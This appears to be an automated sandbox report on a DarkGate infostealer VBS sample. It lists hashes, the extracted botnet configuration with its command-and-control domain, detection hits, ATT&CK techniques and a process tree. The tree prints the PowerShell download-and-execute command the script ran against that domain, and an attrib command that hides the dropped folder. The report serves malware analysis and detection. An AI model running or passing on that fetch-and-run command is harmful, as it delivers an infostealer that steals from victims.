darkgate | 5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831

Analysis

max time kernel
147s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
03/04/2024, 01:23

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General

Target
5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831.vbs
Size 8KB
Sample240403-brvg8abg49
SHA256 5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831
MD5 29552b793e8d97538afff1aaf566a625
SHA1 e3931fca0386f00e1c246039c3491b686e5d8354
SHA512 a847bcc585e75118920548bce0ab85cc4f9f3305052dc835a2cdf7ec127982e7d2e94519505c73c429709665b231ba259477f5efe468815ea1c237edd247f2f6
SSDEEP 192:YMg119gkCtL3IqSPN3QzGNzUoNJnN/Y99957:jy19gR3IquNgzG2oNl4
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

31yc.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
xIpQnKfo
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/2752-42-0x0000000002CA0000-0x0000000002D13000-memory.dmp	family_darkgate_v6
behavioral2/memory/2752-45-0x0000000002CA0000-0x0000000002D13000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	2076	powershell.exe
9	2076	powershell.exe
17	2076	powershell.exe
18	2076	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
2752	KeyScramblerLogon.exe

Loads dropped DLL 2 IoCs

pid	Process
2752	KeyScramblerLogon.exe
2752	KeyScramblerLogon.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	KeyScramblerLogon.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	KeyScramblerLogon.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2076	powershell.exe
2076	powershell.exe
2752	KeyScramblerLogon.exe
2752	KeyScramblerLogon.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2076	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 948 wrote to memory of 2076	948	WScript.exe	84
PID 948 wrote to memory of 2076	948	WScript.exe	84
PID 2076 wrote to memory of 2752	2076	powershell.exe	94
PID 2076 wrote to memory of 2752	2076	powershell.exe	94
PID 2076 wrote to memory of 2752	2076	powershell.exe	94
PID 2076 wrote to memory of 3004	2076	powershell.exe	96
PID 2076 wrote to memory of 3004	2076	powershell.exe	96

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3004	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '31yc.com/sjcgwjvm')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\tket\KeyScramblerLogon.exe
    "C:\tket\KeyScramblerLogon.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2752
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/tket/
    3⤵
    - Views/modifies file attributes
    PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_4rbtmdm4.p30.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4rbtmdm4.p30.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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KeyScramblerIE.dll

Path C:\tket\KeyScramblerIE.dll
Size 704KB
SHA256 45793173506de756408a577835d90161a0720c5fe2242f791bcef190556af796
MD5 663e2ab731eed87f5e26fbd057490abb
SHA1 5a81a315eeecac7c6c0878e9207e550e7c45f169
SHA512 027a0da4826e8d858519c65c83896a11569aa8327ddd257fa8fca0fc07b474c98b1ea34c76e6c2a0018b5121fd40bdb6d092d0be7afa37b826066cdd26bfa49b
SSDEEP 12288:OLW0CZAXURs/nSPP45AUz25XdSE9uv49A4zJ1:O38BRs/nSPw5A82fjYOA4T
MD5 SHA1 SHA512 SSDEEP

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KeyScramblerLogon.exe

Path C:\tket\KeyScramblerLogon.exe
Size 500KB
SHA256 fa7ad2f45128120bccc33f996f87a81faa2e9c1236666dd69b943a755f332eb1
MD5 c790ebfcb6a34953a371e32c9174fe46
SHA1 3ead08d8bbdb3afd851877cb50507b77ae18a4d8
SHA512 74e3ab12b2a2d5c45c5248dd2225bfbcf237a01ef94fdca3fe99cfde11bd7d0ccd25dd7f26bd283997d951f4df7e8f4b35f9475a32bdb854d6cc8867b2c45554
SSDEEP 6144:79UJaPbttKBfvX/b9NX7NVdRbjCNK617o41Nptp7Nu+1:7qkbtts3X/b9NX7NVdtC37p7NuK
MD5 SHA1 SHA512 SSDEEP

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test.txt

Path C:\tket\test.txt
Size 457KB
SHA256 d7bba151c501ecb9a936cf1ab64620cafbd2284773e73d8390f9d0d3b73a98fa
MD5 53feeff1344bc6c48eddbc4fec8be3a7
SHA1 ac4b206b30a3a69a5f77122433fdc255f903e36e
SHA512 7bae83045a7f0a541e4b9e66a5d5ff080b9ef0c00f165092a8f88e450caafe29442619c04b537fcd4e7105554aabeabda135727c1c1e1a2b001b5e0a13484f6b
SSDEEP 6144:PmY/MOwOgkssr6KdjAwoUDy2LDg7NE29WOXu1kna9Jm3S6vEAjOquy8WeMqY:ePMssuajPW2LMpNBXzWJm3hvPSWv
MD5 SHA1 SHA512 SSDEEP

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memory/2076-14-0x0000020CA05E0000-0x0000020CA07A2000-memory.dmp

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memory/2076-13-0x0000020C87C40000-0x0000020C87C50000-memory.dmp

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memory/2076-0-0x0000020C87CE0000-0x0000020C87D02000-memory.dmp

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memory/2076-12-0x0000020C87C40000-0x0000020C87C50000-memory.dmp

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memory/2076-11-0x0000020C87C40000-0x0000020C87C50000-memory.dmp

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memory/2076-38-0x00007FF802E70000-0x00007FF803931000-memory.dmp

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memory/2076-10-0x00007FF802E70000-0x00007FF803931000-memory.dmp

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memory/2752-40-0x0000000001240000-0x00000000012F5000-memory.dmp

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memory/2752-42-0x0000000002CA0000-0x0000000002D13000-memory.dmp

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memory/2752-44-0x0000000001240000-0x00000000012F5000-memory.dmp

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memory/2752-45-0x0000000002CA0000-0x0000000002D13000-memory.dmp

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